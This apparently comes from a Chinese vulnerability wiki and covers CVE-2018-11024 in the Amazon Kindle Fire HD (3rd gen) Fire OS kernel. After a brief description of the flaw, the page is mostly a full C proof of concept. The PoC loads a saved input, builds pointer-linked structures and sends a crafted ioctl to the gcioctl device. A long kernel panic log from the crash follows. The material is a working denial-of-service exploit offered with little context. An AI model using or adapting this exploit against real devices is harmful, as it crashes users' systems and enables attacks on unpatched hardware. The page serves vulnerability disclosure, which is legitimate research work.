跳转至

(CVE 2018 11024)Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞

一、漏洞简介

Amazon Kindle Fire HD(3rd)Fire OS 4.5.5.3的内核组件中的内核模块/omap/drivers/misc/gcx/gcioctl/gcif.c允许攻击者通过设备/ dev上ioctl的参数注入特制参数/ gcioctl使用命令1077435789并导致内核崩溃。

二、漏洞影响

Fire OS 4.5.5.3

三、复现过程

poc

#include<stdio.h>
#include<string.h>      //strlen
#include<sys/socket.h>
#include<arpa/inet.h> //inet_addr
#include<unistd.h>      //write
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdbool.h>

// Socket boilerplate code taken from here: http://www.binarytides.com/server-client-example-c-sockets-linux/

/*
 seed, ioctl_id, num_mappings, num_blobs, dev_name_len, dev_name, map_entry_t_arr, blobs
*/
int debug = 1;

typedef struct {
    int src_id;
    int dst_id;
    int offset;
} map_entry_t;

short tiny_vals[18] = {128, 127, 64, 63, 32, 31, 16, 15, 8, 7, 4, 3, 2, 1, 0, 256, 255, -1};
int *small_vals;
int num_small_vals;

// populates small_vals when called
void populate_arrs(int top) {
    int num = 1;
    int count = 0;
    while (num < top) {
        //printf("%d\n", num);
        num <<= 1;
        count += 2;
    }
    // top
    count += 1;
    // -1
    count += 1;
    num_small_vals = count;
    num >>= 1;

    small_vals = malloc(sizeof(int)*count);
    memset(small_vals, 0, count);

    int i = 0;
    while(num > 1) {
        small_vals[i] = num;
        i++;
        small_vals[i] = num-1;
        i++;
        num >>= 1;
    }
    small_vals[i] = 0;
    small_vals[i+1] = top;
    small_vals[i+2] = top-1;
    small_vals[i+3] = -1;
}

// generate a random value of size size and store it in elem.
// value has a weight % chance to be a "small value"
void gen_rand_val(int size, char *elem,  int small_weight) {
    int i;

    if ((rand() % 100) < small_weight) {
        // do small thing
        unsigned int idx = (rand() % num_small_vals);
        printf("Choosing %d\n", small_vals[idx]);
        switch (size) {
            case 2:
                idx = (rand() % 18);
                *(short *)elem = tiny_vals[idx];
                break;
            case 4:
                *(int *)elem = small_vals[idx];
                break;

            case 8:
                *(long long*)elem = small_vals[idx];
                break;

            default:
                printf("Damn bro. Size: %d\n", size);
                exit(-1);
        }
    }

    else {

        for(i=0; i < size; i++) {
            elem[i] = (char)(rand()%0x100);
        }
    }

}

int main(int argc , char *argv[])
{
    int num_blobs = 0, num_mappings = 0, i = 0, dev_name_len = 0, j;
    unsigned int ioctl_id = 0;
    char *dev_name;
    void *tmp;
    char **ptr_arr;
    int *len_arr;
    unsigned int seed;

    int sockfd , client_sock , c , read_size;
    struct sockaddr_in server , client;
    int msg_size;
    void *generic_arr[264];

    // max val for small_vals array
    int top = 8192;
    int cnt = 0;
    // chance that our generics are filled with "small vals"
    int default_weight = 50;
    populate_arrs(top);
    int retest = 1;
    goto rerun;



    sockfd = socket(AF_INET , SOCK_STREAM , 0);
    if (sockfd == -1)
    {
        printf("Could not create socket");
    }
    puts("Socket created");

    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(atoi(argv[1]));

    //Bind
    if( bind(sockfd,(struct sockaddr *)&server , sizeof(server)) < 0)
    {
        //print the error message
        perror("bind failed. Error");
        return 1;
    }
    puts("bind done");
listen:     
    // Listen
    listen(sockfd , 3);

    puts("Waiting for incoming connections...");
    c = sizeof(struct sockaddr_in);

    // accept connection from an incoming client
    client_sock = accept(sockfd, (struct sockaddr *)&client, (socklen_t*)&c);
    if (client_sock < 0)
    {
        perror("accept failed");
        return 1;
    }
    puts("Connection accepted");

    msg_size = 0;
    // Receive a message from client
    while( (read_size = recv(client_sock , &msg_size , 4 , 0)) > 0 )
    {
        // recv the entire message
        char *recv_buf = calloc(msg_size, sizeof(char));
        if (recv_buf == NULL) {
            printf("Failed to allocate recv_buf\n");
            exit(-1);
        }

        int nrecvd = recv(client_sock, recv_buf, msg_size, 0);
        if (nrecvd != msg_size) {
            printf("Error getting all data!\n");
            printf("nrecvd: %d\nmsg_size:%d\n", nrecvd, msg_size);
            exit(-1);
        }
        // quickly save a copy of the most recent data
        int savefd = open("/sdcard/saved", O_WRONLY|O_TRUNC|O_CREAT, 0644);
        if (savefd < 0) {
            perror("open saved");
            exit(-1);
        }

        int err = write(savefd, recv_buf, msg_size);
        if (err != msg_size) {
            perror("write saved");
            exit(-1);
        }
        fsync(savefd);
        close(savefd);
rerun:
        if (retest) {
            recv_buf = calloc(msg_size, sizeof(char));
            int fd = open("/sdcard/saved", O_RDONLY);
            if (fd < 0) {
                perror("open:");
                exit(-1);
            }
            int fsize = lseek(fd, 0, SEEK_END);
            printf("file size: %d\n", fsize);
            lseek(fd, 0, SEEK_SET);
            read(fd, recv_buf, fsize);
        }

        char *head = recv_buf;
        seed = 0;
        //seed, ioctl_id, num_mappings, num_blobs, dev_name_len, dev_name, map_entry_t_arr, blob_len_arr, blobs
        memcpy(&seed, head, 4);
        head += 4;
        memcpy(&ioctl_id, head, 4);
        head += 4;
        memcpy(&num_mappings, head, 4);
        head += 4;
        memcpy(&num_blobs, head, 4);
        head += 4;
        memcpy(&dev_name_len, head, 4);
        head += 4;

        // srand with new seed
        srand(seed);

        /* dev name */
        dev_name = calloc(dev_name_len+1, sizeof(char));
        if (dev_name == NULL) {
            printf("Failed to allocate dev_name\n");
            exit(-1);
        }
        memcpy(dev_name, head, dev_name_len);
        head += dev_name_len;

        /* map */
        map_entry_t *map = calloc(num_mappings, sizeof(map_entry_t));
        if (map == NULL) {
            printf("Failed to allocate map\n");
            exit(-1);
        }

        if (num_mappings != 0) {
            memcpy(map, head, num_mappings*sizeof(map_entry_t));
            head += num_mappings*sizeof(map_entry_t);
        }

        /* blobs */

        // first create an array to store the sizes themselves
        len_arr = calloc(num_blobs, sizeof(int));
        if (len_arr == NULL) {
            printf("Failed to allocate len_arr\n");
            exit(-1);
        }

        // we'll also want an array to store our pointers
        ptr_arr = calloc(num_blobs, sizeof(void *));
        if (ptr_arr == NULL) {
            printf("Failed to allocate ptr_arr\n");
            exit(-1);
        }


        // copy the blob sizes into our size_arr
        for (j=0; j < num_blobs; j++) {
            memcpy(&len_arr[j], head, sizeof(int));
            head += sizeof(int);
        }

        // we'll also want memory bufs for all blobs
        // now that we have the sizes, allocate all the buffers we need
        for (j=0; j < num_blobs; j++) {
            ptr_arr[j] = calloc(len_arr[j], sizeof(char));
            printf("Sizeof(ptr_arr[%d])=%d\n", j, len_arr[j]);
            printf("ptr_arr[%d]=%p\n", j, ptr_arr[j]);

            //printf("just added %p to ptr_arr\n", ptr_arr[j]);
            if (ptr_arr[j] == NULL) {
                printf("Failed to allocate a blob store\n");
                exit(-1);
            }

            // might as well copy the memory over as soon as we allocate the space
            memcpy((char *)ptr_arr[j], head, len_arr[j]);
            printf("ptr_arr[%d]=\n", j);
            for(i=0;i<len_arr[j];i+=4){
                printf("0x%08x\n", *(unsigned int *)(ptr_arr[j] + i));
            }
            printf("\n");

            head += len_arr[j];
        }

        int num_generics = 0;

        // time for pointer fixup
        for (i=0; i < num_mappings; i++) {
            // get out entry
            map_entry_t entry = map[i];
            // pull out the struct to be fixed up
            char *tmp = ptr_arr[entry.src_id];

            // check if this is a struct ptr or just a generic one

            // just a generic one
            if (entry.dst_id < 0) {
                // 90% chance we fixup the generic
                if ( (rand() % 10) > 0) {
                    int buf_len = 128;
                    char *tmp_generic = malloc(buf_len);
                    memset(tmp_generic, 0, buf_len);
                    // 95% chance we fill it with data
                    if ((rand() % 100) > 95) {
                        // if dst_id is < 0, it's abs value is the element size
                        int size = -1 * entry.dst_id;
                        int weight;
                        // if it's a char or some float, never choose a "small val"
                        if (size == 1 || size > 8)
                            weight = 0;
                        else
                            weight = default_weight;

                        for (i=0; i < buf_len; i+=size) {
                            gen_rand_val(size, &tmp_generic[i], weight);
                        }
                    }
                    generic_arr[num_generics] = tmp_generic;
                    memcpy(tmp+entry.offset, &tmp_generic, sizeof(void *));
                    num_generics += 1;
                    if (num_generics >= 264) {
                        printf("Code a better solution for storing generics\n");
                        exit(1);
                    }
                }
            }

            // a struct ptr, so we have the data
            else {
                // 1 in 400 chance we don't fixup
                if ( (rand() % 400) > 0) {
                    // now point it to the correct struct/blob
                    // printf("placing %p, at %p\n", ptr_arr[entry.dst_id], tmp+entry.offset);
                    memcpy(tmp+entry.offset, &ptr_arr[entry.dst_id], sizeof(void *));
                }
            }
        }

        if (debug) {
            printf("ioctl_id: %d\n", ioctl_id);
            printf("num_mappings: %d\n", num_mappings);
            printf("num_blobs: %d\n", num_blobs);
            printf("dev_name_len: %d\n", dev_name_len);
            printf("dev_name: %s\n", dev_name);
            printf("data[]: \n");
            //printf("(0x%x)\n", *(int *)&ptr_arr[0]);
            printf("(0x%p) : ", &ptr_arr[0]);
            printf("(0x%016lx)\n", *(unsigned long int *)ptr_arr[0]);
            printf("(0x%p) : ", (&ptr_arr[0]+1*8));
            printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr[0]+1*8));

            printf("(0x%p) : ", (&ptr_arr[0]+2*8));
            printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr[0]+2*8));

            printf("(0x%p) : ", (&ptr_arr[0]+3*8));
            printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr[0]+3*8));

            printf("(0x%p) : ", (&ptr_arr[0]+4*8));
            printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr[0]+4*8));

            //printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr[0]+5*8));
            //printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr[0]+6*8));

            //printf("(0x%x)\n", (int *)ptr_arr, (int *)ptr_arr);

        }

        // time for the actual ioctl
        //printf("Try to open device %s\n", dev_name);
        //fflush(stdout);
        int fd = open(dev_name, O_RDONLY);
        if (fd < 0) {
            perror("open");
            exit(-1);
        } else {
            printf("Open devicd %s successfully.\n", dev_name);
        }

        //fflush(stdout);
        //printf("Try to call ioctl(fd=%d, ioctl_id=%d, ptr_arr=%p)\n", fd, ioctl_id, ptr_arr[0]);
        fflush(stdout);
        printf("%10d:", cnt++);
        if ((ioctl(fd, ioctl_id, ptr_arr[0])) == -1)
            perror("ioctl");

        else
            printf("good hit\n");
        close(fd);
        printf("device %s closed\n", dev_name);

        if (retest)
            exit(0);

        fflush(stdout);
        // okay now free all the shit we alloced
        free(recv_buf);
        free(dev_name);
        if (map != NULL)
            free(map);
        free(len_arr);
        for (i=0; i < num_blobs; i++) {
            //printf("%d: free'ing %p\n", i, ptr_arr[i]);
            free(ptr_arr[i]);
        }
        free(ptr_arr);
        for (i=0; i < num_generics; i++) {
            free(generic_arr[i]);
        }

        write(client_sock, &msg_size, 4);

        msg_size = 0;
    }

    if(read_size == 0)
    {
        puts("Client disconnected");
        fflush(stdout);
        close(client_sock);
        goto listen;
    }
    else if(read_size == -1)
    {
        perror("recv failed");
    }

    return 0;
}

崩溃日志

[  144.428375] Unable to handle kernel paging request at virtual address d900000c
[  144.436462] pgd = dcac0000
[  144.439697] [d900000c] *pgd=00000000
[  144.443939] Internal error: Oops: 5 [#1] PREEMPT SMP ARM
[  144.450012] Modules linked in: omaplfb(O) pvrsrvkm(O) pvr_logger(O)
[  144.457672] CPU: 0    Tainted: G           O  (3.4.83-gd2afc0bae69 #1)
[  144.465118] PC is at c2dm_l1cache+0x30/0x100
[  144.469940] LR is at dev_ioctl+0x3f0/0x10c4
[  144.474670] pc : [<c03187ac>]    lr : [<c031782c>]    psr: a0000013
[  144.474670] sp : c2d6be38  ip : 00000000  fp : c2d6be6c
[  144.487640] r10: 00000000  r9 : d8c0cca8  r8 : 00b8dd90
[  144.493621] r7 : 00000000  r6 : c2d6bea4  r5 : 00b8dd90  r4 : 388b77c4
[  144.500915] r3 : d9000004  r2 : 75e0c121  r1 : c2d6bea4  r0 : 00000000
[  144.508331] Flags: NzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
[  144.516418] Control: 10c5387d  Table: 9cac004a  DAC: 00000015
[  144.522827] 
[  144.522857] PC: 0xc031872c:
[  144.527954] 872c  e51b2034 e592300c eaffffa5 e30c281c e34c209d e5923000 e3530000 1affffbd
[  144.538482] 874c  eaffffc0 e51b303c e51b1040 e2833001 e51b2034 e1530001 e50b303c e2822010
[  144.549163] 876c  e50b2034 1affff8c eaffff83 c09dc81c e1a0c00d e92ddff0 e24cb004 e24dd00c
[  144.559844] 878c  e3500000 e1a07002 e50b0030 da00000d e0814200 e1a06001 e1a03001 e3a02000
[  144.570404] 87ac  e5930008 e593c004 e2833010 e1530004 e022209c 1afffff9 e3520902 3a000003
[  144.581085] 87cc  e3570002 9a000022 e24bd028 e89daff0 e59f9090 e2818008 e3a0a000 e5963008
[  144.591735] 87ec  e5184008 e3530000 13a05000 1a00000a ea000010 e5181004 e5993024 e0841001
[  144.602416] 880c  e12fff33 e5962008 e2855001 e596300c e1550002 e0844003 2a000006 e2572000
[  144.612976] 
[  144.612976] LR: 0xc03177ac:
[  144.618072] 77ac  ebf55c15 eaffff35 e3053d8d e3443038 e1510003 1affff30 e1a0200d e3c23d7f
[  144.628631] 77cc  e3c3303f e24b0064 e5933008 e2952038 30d22003 33a03000 e3530000 1a0001a8
[  144.639160] 77ec  e1a01005 e3a02038 ebfcfa90 e3500000 1a00000e e51b2030 e3520001 0a0001cb
[  144.649780] 780c  e3520002 0a0001ee e3520000 1a000007 e51b0064 e3a02000 e24b1060 eb0003d3
[  144.660369] 782c  e51b0064 e24b1060 e51b2030 eb000338 e3a05000 eaffff11 e24b1064 e50b1088
[  144.670776] 784c  e51b0088 e3a01010 ebfd03c1 e3a03004 e50b3064 e5963008 e2952004 30d22003
[  144.681213] 786c  33a03000 e3530000 0a0001c5 e3e0500d eaffff02 e1a0200d e3c26d7f e3c6603f
[  144.691528] 788c  e5963008 e2952008 30d22003 33a03000 e3530000 1a000021 e24b3064 e1a01005
[  144.701995] 
[  144.701995] SP: 0xc2d6bdb8:
[  144.706878] bdb8  c2d6be24 00b8dd90 c2d6bdec c2d6bdd0 c00084d0 c03187ac a0000013 ffffffff
[  144.717407] bdd8  c2d6be24 00b8dd90 c2d6be6c c2d6bdf0 c06a5318 c0008370 00000000 c2d6bea4
[  144.727905] bdf8  75e0c121 d9000004 388b77c4 00b8dd90 c2d6bea4 00000000 00b8dd90 d8c0cca8
[  144.738586] be18  00000000 c2d6be6c 00000000 c2d6be38 c031782c c03187ac a0000013 ffffffff
[  144.749145] be38  c02ba53c 575b4b92 d8578000 00000000 00b8dd90 0000000b dcae46c0 00b8dd90
[  144.759796] be58  d8c0cca8 00000000 c2d6bf04 c2d6be70 c031782c c0318788 00000001 00000088
[  144.770355] be78  000ffeff 00000001 c2d6bedc c2d6be90 c0207454 c00bd920 00000027 d7ce5000
[  144.781005] be98  c2d6bed4 c2d6bea8 575b4b92 4ccba3b5 47a0578f 83b275c7 00000000 00020261
[  144.791687] 
[  144.791687] FP: 0xc2d6bdec:
[  144.796661] bdec  c0008370 00000000 c2d6bea4 75e0c121 d9000004 388b77c4 00b8dd90 c2d6bea4
[  144.807189] be0c  00000000 00b8dd90 d8c0cca8 00000000 c2d6be6c 00000000 c2d6be38 c031782c
[  144.817840] be2c  c03187ac a0000013 ffffffff c02ba53c 575b4b92 d8578000 00000000 00b8dd90
[  144.828399] be4c  0000000b dcae46c0 00b8dd90 d8c0cca8 00000000 c2d6bf04 c2d6be70 c031782c
[  144.839080] be6c  c0318788 00000001 00000088 000ffeff 00000001 c2d6bedc c2d6be90 c0207454
[  144.849761] be8c  c00bd920 00000027 d7ce5000 c2d6bed4 c2d6bea8 575b4b92 4ccba3b5 47a0578f
[  144.860290] beac  83b275c7 00000000 00020261 00000000 00000000 00000000 00000000 00000000
[  144.870971] becc  00000000 00000000 00000000 c02089fc 00000000 dcae46c0 0000000b dcae46c0
[  144.881652] 
[  144.881652] R1: 0xc2d6be24:
[  144.886627] be24  c2d6be38 c031782c c03187ac a0000013 ffffffff c02ba53c 575b4b92 d8578000
[  144.897308] be44  00000000 00b8dd90 0000000b dcae46c0 00b8dd90 d8c0cca8 00000000 c2d6bf04
[  144.907989] be64  c2d6be70 c031782c c0318788 00000001 00000088 000ffeff 00000001 c2d6bedc
[  144.918518] be84  c2d6be90 c0207454 c00bd920 00000027 d7ce5000 c2d6bed4 c2d6bea8 575b4b92
[  144.929199] bea4  4ccba3b5 47a0578f 83b275c7 00000000 00020261 00000000 00000000 00000000
[  144.939849] bec4  00000000 00000000 00000000 00000000 00000000 c02089fc 00000000 dcae46c0
[  144.950531] bee4  0000000b dcae46c0 00b8dd90 d8c0cca8 00000000 c2d6bf74 c2d6bf08 c0136044
[  144.961059] bf04  c0317448 00000000 00000000 00000000 00000001 00000000 dd045190 dcf8c440
[  144.971710] 
[  144.971710] R3: 0xd8ffff84:
[  144.976623] ff84  d8ffff20 d8efb000 00000707 020e40fb d8efb075 d8ffff3c d8efb01c d8ffffa0
[  144.987213] ffa4  d8ffffa0 d8efb028 ca9788f0 d8ffffb0 d8ffffb0 00000000 bf06e9c8 80000088
[  144.997772] ffc4  dd2eac00 dd309540 00000000 00000000 00000000 00000000 00000000 00000000
[  145.008392] ffe4  00000000 00000000 00000000 00000000 00000000 00000000 00000000 ********
[  145.018798] 0004  ******** ******** ******** ******** ******** ******** ******** ********
[  145.029327] 0024  ******** ******** ******** ******** ******** ******** ******** ********
[  145.039886] 0044  ******** ******** ******** ******** ******** ******** ******** ********
[  145.050384] 0064  ******** ******** ******** ******** ******** ******** ******** ********
[  145.060913] 
[  145.060913] R6: 0xc2d6be24:
[  145.066009] be24  c2d6be38 c031782c c03187ac a0000013 ffffffff c02ba53c 575b4b92 d8578000
[  145.076568] be44  00000000 00b8dd90 0000000b dcae46c0 00b8dd90 d8c0cca8 00000000 c2d6bf04
[  145.087219] be64  c2d6be70 c031782c c0318788 00000001 00000088 000ffeff 00000001 c2d6bedc
[  145.097900] be84  c2d6be90 c0207454 c00bd920 00000027 d7ce5000 c2d6bed4 c2d6bea8 575b4b92
[  145.108459] bea4  4ccba3b5 47a0578f 83b275c7 00000000 00020261 00000000 00000000 00000000
[  145.118988] bec4  00000000 00000000 00000000 00000000 00000000 c02089fc 00000000 dcae46c0
[  145.129638] bee4  0000000b dcae46c0 00b8dd90 d8c0cca8 00000000 c2d6bf74 c2d6bf08 c0136044
[  145.140319] bf04  c0317448 00000000 00000000 00000000 00000001 00000000 dd045190 dcf8c440
[  145.150848] 
[  145.150848] R9: 0xd8c0cc28:
[  145.155944] cc28  d8c0cc28 d8c0cc28 00000000 00000000 00000000 c06bc674 000200da c09dda58
[  145.166503] cc48  00000000 00000000 d8c0cc50 d8c0cc50 00000000 c0aa5174 c0aa5174 c0aa5148
[  145.177062] cc68  5aefd94b 00000000 00000000 00000000 d8c0cc80 9ad1f453 00000000 00000000
[  145.187713] cc88  00200000 00000000 00000000 d8c0cc94 d8c0cc94 dd3b56c0 dd3b56c0 00000000
[  145.198394] cca8  000521a4 000003e8 000003e8 00000000 00000000 00000000 c06b9600 dd150400
[  145.208923] ccc8  d8c0cd80 dd3e3e70 00001064 00000001 0fb00000 5aefd94b 2d2b4d13 5aefd94b
[  145.219573] cce8  2d2b4d13 5aefd94b 2d2b4d13 00000000 00000000 00000000 00000000 00000000
[  145.230255] cd08  00000000 00000000 00000000 00000000 00000001 00000000 00000000 d8c0cd24
[  145.240936] Process executor32 (pid: 3810, stack limit = 0xc2d6a2f8)
[  145.248016] Stack: (0xc2d6be38 to 0xc2d6c000)
[  145.253082] be20:                                                       c02ba53c 575b4b92
[  145.262176] be40: d8578000 00000000 00b8dd90 0000000b dcae46c0 00b8dd90 d8c0cca8 00000000
[  145.271392] be60: c2d6bf04 c2d6be70 c031782c c0318788 00000001 00000088 000ffeff 00000001
[  145.280609] be80: c2d6bedc c2d6be90 c0207454 c00bd920 00000027 d7ce5000 c2d6bed4 c2d6bea8
[  145.289703] bea0: 575b4b92 4ccba3b5 47a0578f 83b275c7 00000000 00020261 00000000 00000000
[  145.298919] bec0: 00000000 00000000 00000000 00000000 00000000 00000000 c02089fc 00000000
[  145.308105] bee0: dcae46c0 0000000b dcae46c0 00b8dd90 d8c0cca8 00000000 c2d6bf74 c2d6bf08
[  145.317352] bf00: c0136044 c0317448 00000000 00000000 00000000 00000001 00000000 dd045190
[  145.326416] bf20: dcf8c440 c2d6bf0c c2d6a000 00b8dd80 00b8dd90 40385d8d dcae46c0 0000000b
[  145.335662] bf40: c2d6a000 00000000 c2d6bf64 00000000 00b8dd90 40385d8d dcae46c0 0000000b
[  145.344879] bf60: c2d6a000 00000000 c2d6bfa4 c2d6bf78 c01365e0 c0135fc4 00000000 00000000
[  145.354095] bf80: c0013e08 00b8dd80 000121c0 00000000 00000036 c0013e08 00000000 c2d6bfa8
[  145.363159] bfa0: c0013c60 c0136578 00b8dd80 000121c0 0000000b 40385d8d 00b8dd90 00b8dd90
[  145.372406] bfc0: 00b8dd80 000121c0 00000000 00000036 00000000 00000000 00000000 bee035f4
[  145.381622] bfe0: 810100fc bee030f4 00011578 0002b28c 60000010 0000000b 4d6969d9 03020430
[  145.390686] Backtrace: 
[  145.393829] [<c031877c>] (c2dm_l1cache+0x0/0x100) from [<c031782c>] (dev_ioctl+0x3f0/0x10c4)
[  145.403228] [<c031743c>] (dev_ioctl+0x0/0x10c4) from [<c0136044>] (do_vfs_ioctl+0x8c/0x5b4)
[  145.412658] [<c0135fb8>] (do_vfs_ioctl+0x0/0x5b4) from [<c01365e0>] (sys_ioctl+0x74/0x84)
[  145.421874] [<c013656c>] (sys_ioctl+0x0/0x84) from [<c0013c60>] (ret_fast_syscall+0x0/0x30)
[  145.431304]  r8:c0013e08 r7:00000036 r6:00000000 r5:000121c0 r4:00b8dd80
[  145.439605] Code: e0814200 e1a06001 e1a03001 e3a02000 (e5930008) 
[  145.450225] Board Information: 
[  145.450225]  Revision : 0001
[  145.450256]  Serial    : 0000000000000000
[  145.450256] SoC Information:
[  145.450256]  CPU    : OMAP4470
[  145.450286]  Rev    : ES1.0
[  145.450286]  Type    : HS
[  145.450286]  Production ID: 0002B975-000000CC
[  145.450286]  Die ID    : 1CC60000-50002FFF-0B00935D-11007004
[  145.450317] 
[  145.485900] ---[ end trace 0fe3b4c74b4e9fa7 ]---
[  145.491149] Kernel panic - not syncing: Fatal exception
[  145.496917] CPU1: stopping
[  145.500152] Backtrace: 
[  145.503204] [<c0018148>] (dump_backtrace+0x0/0x10c) from [<c0698bb8>] (dump_stack+0x18/0x1c)
[  145.512695]  r6:c09ddc50 r5:c09dc844 r4:00000001 r3:c0a0e950
[  145.519714] [<c0698ba0>] (dump_stack+0x0/0x1c) from [<c0019bd8>] (handle_IPI+0x190/0x1c4)
[  145.528961] [<c0019a48>] (handle_IPI+0x0/0x1c4) from [<c00084fc>] (gic_handle_irq+0x58/0x60)
[  145.538482] [<c00084a4>] (gic_handle_irq+0x0/0x60) from [<c06a5540>] (__irq_usr+0x40/0x60)
[  145.547637] Exception stack(0xd85a5fb0 to 0xd85a5ff8)
[  145.553466] 5fa0:                                     41822290 418185e8 00000001 41c95000
[  145.562561] 5fc0: 418185e8 41687460 4010d0ec 418185e8 4010d038 41689398 7fffffff 401602ec
[  145.571777] 5fe0: 418191e8 5ba34d10 41609aa8 41609974 200b0010 ffffffff
[  145.579284]  r6:ffffffff r5:200b0010 r4:41609974 r3:41822290
[  145.586364] CPU0 PC (0) : 0xc003ee38
[  145.590576] CPU0 PC (1) : 0xc003ee54
[  145.594635] CPU0 PC (2) : 0xc003ee54
[  145.598693] CPU0 PC (3) : 0xc003ee54
[  145.602722] CPU0 PC (4) : 0xc003ee54
[  145.606781] CPU0 PC (5) : 0xc003ee54
[  145.610839] CPU0 PC (6) : 0xc003ee54
[  145.614898] CPU0 PC (7) : 0xc003ee54
[  145.619110] CPU0 PC (8) : 0xc003ee54
[  145.623168] CPU0 PC (9) : 0xc003ee54
[  145.627227] CPU1 PC (0) : 0xc0019b2c
[  145.631408] CPU1 PC (1) : 0xc0019b2c
[  145.635467] CPU1 PC (2) : 0xc0019b2c
[  145.639495] CPU1 PC (3) : 0xc0019b2c
[  145.643707] CPU1 PC (4) : 0xc0019b2c
[  145.647766] CPU1 PC (5) : 0xc0019b2c
[  145.651824] CPU1 PC (6) : 0xc0019b2c
[  145.656005] CPU1 PC (7) : 0xc0019b2c
[  145.660064] CPU1 PC (8) : 0xc0019b2c
[  145.664123] CPU1 PC (9) : 0xc0019b2c
[  145.668182] 
[  145.669952] Restarting Linux version 3.4.83-gd2afc0bae69 (build@14-use1a-b-39) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Tue Sep 19 22:04:47 UTC 2017
[  145.669982]